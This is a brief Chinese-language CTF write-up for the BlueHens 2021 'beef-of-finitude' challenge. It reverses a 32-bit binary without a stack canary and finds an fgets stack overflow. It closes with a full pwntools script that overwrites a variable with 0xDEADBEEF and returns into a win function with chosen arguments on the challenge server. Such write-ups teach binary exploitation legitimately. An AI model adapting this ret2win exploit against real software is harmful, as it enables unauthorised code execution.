BlueHens CTF 2021 --- beef-of-finitude writeup
检查下保护机制:
32位程序,没有开启canary
ida逆向看一下情况:
去除了符号表,从参数可以看出sub_8049010是setvbuf(),也可以gdb调试验证
那就不去管它,直接看myFun,但是ida报错,没办法反编译:
它说在0x80493A1分析失败,那看下0x804931到底调用了哪个函数:
转到0x80490D0,先把这个函数反编译了,然后再反编译myFun()就没得问题
分析一下myFun()函数:
我们用gdb调试一下,看看sub_80490c0是个什么函数,同样的办法可以用来确认sub_80490d0
在0x80490c0下断点,然后运行,发现这个函数是fgets:
可以写336个字节,那肯定有栈溢出,并且题目提供了win函数:
现在就可以写利用脚本了,覆盖为v5为0xDEADBEEF,然后写rop,注意适当的a1 a2 a3 a4参数,32位程序,跟在返回地址的返回地址后即可:
from pwn import * context.log_level="debug" #sh=process("./beef-of-finitude") #sh=gdb.debug("./beef-of-finitude","b * 0x80493BE") #sh=gdb.debug("./beef-of-finitude","b * 0x8049275") sh=remote("challenges.ctfd.io",30027) payload=b'a'*0x1A+p32(0xDEADBEEF)+b'b'*0xc+p32(0x8049236)+p32(0)+p32(0x14B4DA55)+p32(0)+p32(0x67616C66)+p32(0) sh.sendlineafter('Name','zq') sh.sendlineafter('password',payload) sh.interactive()